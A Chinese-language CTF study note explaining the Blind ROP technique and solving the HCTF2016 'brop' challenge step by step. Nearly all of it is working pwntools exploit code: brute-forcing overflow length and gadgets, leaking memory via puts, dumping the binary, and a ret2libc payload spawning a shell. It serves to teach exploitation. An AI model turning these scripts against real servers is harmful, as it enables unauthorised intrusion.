pwn學習總結(三) —— BROP
-
- 描述
- 利用條件
- 攻擊思路
- 例題
-
- 判斷棧溢出長度
- 尋找 stop gadgets
- 尋找 brop gadgets
- 尋找 puts 函數的 plt 位址
- 尋找 puts 函數的 got 位址并 dump plt 表
- getshell
描述
- BROP(Blind ROP)于 2014 年由 Standford 的 Andrea Bittau 提出,其相關研究成果發表在 Oakland 2014
- 在 CTF 中,BROP 技術一般在出題方未提供二進制檔案的情況下進行使用
利用條件
- 源程式必須存在棧溢出漏洞,以便于攻擊者可以控制程式流程
- 伺服器端的程序在崩潰之後會重新啟動,并且重新啟動的程序的位址與先前的位址一樣(這也就是說即使程式有 ASLR 保護,但是其隻是在程式最初啟動的時候有效果)
- 目前 nginx、MySQL、Apache、OpenSSH 等伺服器應用都符合這種特性
攻擊思路
- 判斷棧溢出長度,如有必要可以通過棧溢出來洩露 canaries、rbp 和傳回位址
- 尋找能夠傳回到 main 函數的 gadgets(通常稱為 stop_gadget)
- 尋找 brop gadgets(例如 __libc_csu_init 中的 gadgets),定位 pop rdi ; ret 的位址
- 尋找 puts 或 write 函數的 plt,用于 leak 其它位址的值
- dump plt 表,用于 leak 所需函數的 got 位址
- 通過 leak 到的 got 位址,找到對應 libc 版本,通過 libc 執行系統指令進行 getshell
例題
平台:HCTF2016
題目:brop
判斷棧溢出長度
#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'
def GetBufLength():
i = 1
while 1:
try:
sh = process('./brop')
sh.recvuntil('Do you know password?\n')
payload = 'a' * i
sh.send(payload)
output = sh.recv()
#未成功傳回到main函數
if not output.startswith('No password'):
return i - 1
else:
i += 1
#觸發棧溢出異常
except EOFError:
sh.close()
return i - 1
buf_length = GetBufLength()
print(buf_length)
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsIyZuBnL2kjN5MjN0QTMxEjMxkTMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
尋找 stop gadgets
#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'
buf_length = 72
def GetStopAddr():
address = 0x400000
while 1:
print(hex(address))
try:
sh = process('./brop')
sh.recvuntil('Do you know password?\n')
payload = 'a'*buf_length + p64(address)
sh.send(payload)
output = sh.recv()
#未成功傳回到main函數頭部開始執行
if not output.startswith('WelCome my friend'):
sh.close()
address += 1
else:
return address
#觸發棧溢出異常
except EOFError:
address += 1
sh.close()
stop_gadgets = GetStopAddr()
print('stop gadgets = 0x%x' % stop_gadgets)
尋找 brop gadgets
#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'
def GetBropGadgets(buf_length, stop_gadgets, address):
try:
sh = process('./brop')
sh.recvuntil('Do you know password?\n')
#尋找 pop_rbx_rbp_r12_r13_r14_r15_ret
payload = 'a'*buf_length + p64(address) + p64(0)*6 + p64(stop_gadgets)
sh.sendline(payload)
output = sh.recv(timeout=1)
sh.close()
if not output.startswith('WelCome my friend'):
return False
return True
except Exception:
sh.close()
return False
def check(buf_length, address):
try:
sh = process('./brop')
sh.recvuntil('Do you know password?\n')
payload = 'a'*buf_length + p64(address) + p64(0)*7
sh.sendline(payload)
output = sh.recv(timeout=1)
sh.close()
return False
except Exception:
sh.close()
return True
buf_length = 72
stop_gadgets = 0x4005d0
address = 0x400500
while 1:
print(hex(address))
if GetBropGadgets(buf_length, stop_gadgets, address):
print('possible brop gadget: 0x%x' % address)
if check(buf_length, address):
print('success brop gadget: 0x%x' % address)
break
address += 1
尋找 puts 函數的 plt 位址
#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'
buf_length = 72
stop_gadgets = 0x4005d0
brop_gadgets = 0x4007ba
pop_rdi_ret = brop_gadgets + 9
def GetPutsPlt():
addr = 0x400500
while 1:
print(hex(addr))
try:
sh = process('./brop')
sh.recvuntil('Do you know password?\n')
payload = 'a'*buf_length + p64(pop_rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadgets)
sh.sendline(payload)
output = sh.recv()
sh.close()
if output.startswith('\x7fELF'):
print('puts plt address = 0x%x' % addr)
return addr
addr += 1
except Exception:
sh.close()
addr += 1
GetPutsPlt()
尋找 puts 函數的 got 位址并 dump plt 表
#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'
def leak(buf_length, pop_rdi_ret, leak_addr, puts_plt, stop_gadgets):
sh = process('./brop')
sh.recvuntil('Do you know password?\n')
payload = 'a'*buf_length + p64(pop_rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadgets)
sh.send(payload)
try:
data = sh.recvuntil('\nWelCome my friend', drop=True)
sh.close()
if data == "":
data = '\x00'
sh.close()
return data
except:
sh.close()
return None
buf_length = 72
stop_gadgets = 0x4005d0
brop_gadgets = 0x4007ba
pop_rdi_ret = brop_gadgets + 9
puts_plt = 0x400565
leak_addr = 0x400000
result = ""
while leak_addr < 0x401000:
print(hex(leak_addr))
data = leak(buf_length, pop_rdi_ret, leak_addr, puts_plt, stop_gadgets)
if data is None:
continue
else:
result += data
leak_addr += len(data)
with open('./code','wb') as f:
f.write(result)
使用 IDA 分析 DUMP 出來的資料:
getshell
#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'
sh = process('./brop')
buf_length = 72
stop_gadgets = 0x4005d0
brop_gadgets = 0x4007ba
pop_rdi_ret = brop_gadgets + 9
puts_plt = 0x400565
puts_got = 0x601018
sh.recvuntil('Do you know password?\n')
payload = 'a' * buf_length
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload += p64(stop_gadgets)
sh.sendline(payload)
puts_addr = u64(sh.recvuntil('\nWelCome my friend', drop=True).ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
#####################################################
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
sh.recvuntil('Do you know password?\n')
payload = 'a' * buf_length
payload += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr) + p64(stop_gadgets)
#pwnlib.gdb.attach(proc.pidof(sh)[0])
sh.sendline(payload)
sh.interactive()